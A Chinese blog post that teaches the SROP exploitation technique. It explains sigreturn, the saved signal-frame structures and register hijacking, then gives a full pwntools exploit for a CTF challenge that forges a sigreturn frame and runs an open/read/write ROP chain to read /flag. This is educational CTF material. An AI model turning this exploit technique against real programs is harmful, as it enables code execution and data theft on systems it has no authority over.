目录
  1. 1. 什么是SROP
  2. 2. 实例
SROP

什么是SROP

SROP 全称Sigreturn Oriented Programmingsigreturn是一个系统调用,在类 unix 系统发生 signal 的时候会被间接地调用。

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。一般来说,信号机制常见的步骤如下图所示:

包含的流程包括:

  1. 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
  2. 内核会为该进程保存相应的上下文,将当前的信息压入栈中(栈寄存器等),以及将 sigreturn系统调用地址压入栈中。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
  3. 执行 sigreturn 系统调用,恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119,64 位的系统调用号为 15。

保存在栈中的进程上下文信息为ucontext_t结构体,称其为Signal Frame,其结构体定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// defined in /usr/include/sys/ucontext.h
/* Userlevel context. */
typedef struct ucontext_t
{
unsigned long int uc_flags;
struct ucontext_t *uc_link;
stack_t uc_stack; // the stack used by this context
mcontext_t uc_mcontext; // the saved context
sigset_t uc_sigmask;
struct _libc_fpstate __fpregs_mem;
} ucontext_t;

// defined in /usr/include/bits/types/stack_t.h
/* Structure describing a signal stack. */
typedef struct
{
void *ss_sp;
size_t ss_size;
int ss_flags;
} stack_t;

// difined in /usr/include/bits/sigcontext.h
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};

由于Signal Frame是在用户态的栈中,因此若在栈中伪造Signal Frame,同时调sigreturn系统调用,即可实现对所有寄存器的控制包括rip,从而实现攻击。

如若只想调用执行一个函数,如get shell,则可直接将rip指向system,将rdi指向binsh地址即可,如下图所示。

如果想执行一系列函数,我们可以通过rsp指针来实现相应的rop链,包括两个步骤:

  • 控制栈指针。
  • 把原来 rip 指向的syscall gadget 换成syscall; ret gadget。

示意图如下所示。

实例

以V&N招新赛babypwn为例

思路如下:

程序调用了syscall(15,&buf),当系统调用号为15时,程序会调用_rt_sigreturn并将我们的输入作为frame传入。然后就可以伪造frame,利用SROP执行read,在libc + 0x3C6500的rw-段布置ROP chain,并返回到其位置执行ORW攻击,程序开启了Sandbox不能执行execve

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'

vn_pwn_babypwn_1=ELF('./vn_pwn_babypwn_1', checksec = False)

if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)

def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./", checksec = False)
return remote(sys.argv[1], sys.argv[2])
else:
return process("./vn_pwn_babypwn_1")

def get_address(sh,info=null,start_string=null,end_string=null,offset=null,int_mode=False):
sh.recvuntil(start_string)
if int_mode :
return_address=int(sh.recvuntil(end_string).strip(end_string),16)
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string).strip(end_string).ljust(8,'\x00'))
else:
return_address=u32(sh.recvuntil(end_string).strip(end_string).ljust(4,'\x00'))
log.success(info+str(hex(return_address+offset)))
return return_address+offset

def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)

def get_gdb(sh,stop=False):
gdb.attach(sh)
if stop :
raw_input()

if __name__ == "__main__":
sh = get_sh()
get_gdb(sh)
libc.address = get_address(sh,'The libc base address is ','Here is my gift: 0x','\n',-libc.symbols['puts'],True)
sh.recvuntil('Please input magic message: ')
fake_frame = p64(0) * 12
fake_frame += p64(0) # RDI = RAX
fake_frame += p64(0) # RSI = RDI
fake_frame += p64(0) # RBP
fake_frame += p64(0) # RBX
fake_frame += p64(libc.address + 0x3C6500 - 0x10) # RDX = RSI
fake_frame += p64(0) # RAX
fake_frame += p64(0x100) # RCX = RDX
fake_frame += p64(libc.address + 0x3C6500) # RSP
fake_frame += p64(libc.symbols['syscall']) # RIP
fake_frame += p64(0) # eflags
fake_frame += p64(0x33) # cs : gs : fs
fake_frame += p64(0) * 7
# get_gdb(sh)
sh.send(fake_frame)
ROP_chain = '/flag\x00\x00\x00'
ROP_chain += p64(0)
ROP_chain += p64(libc.address + 0x0000000000021102)
ROP_chain += p64(libc.address + 0x3C6500 - 0x10)
ROP_chain += p64(libc.address + 0x00000000000202e8)
ROP_chain += p64(0)
ROP_chain += p64(libc.symbols['open'])
ROP_chain += p64(libc.address + 0x0000000000021102)
ROP_chain += p64(3)
ROP_chain += p64(libc.address + 0x00000000000202e8)
ROP_chain += p64(libc.address + 0x3C6700)
ROP_chain += p64(libc.address + 0x0000000000001b92)
ROP_chain += p64(0x100)
ROP_chain += p64(libc.symbols['read'])
ROP_chain += p64(libc.address + 0x0000000000021102)
ROP_chain += p64(1)
ROP_chain += p64(libc.address + 0x00000000000202e8)
ROP_chain += p64(libc.address + 0x3C6700)
ROP_chain += p64(libc.address + 0x0000000000001b92)
ROP_chain += p64(0x100)
ROP_chain += p64(libc.symbols['write'])
#raw_input('>')
sh.send(ROP_chain)
print sh.recv()

参考文章 :

https://ray-cp.github.io/archivers/srop-analysis

文章作者: nocbtm
文章链接: https://nocbtm.github.io/2020/02/28/SROP/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 nocbtm's Blog
打赏
  • 微信
  • 支付宝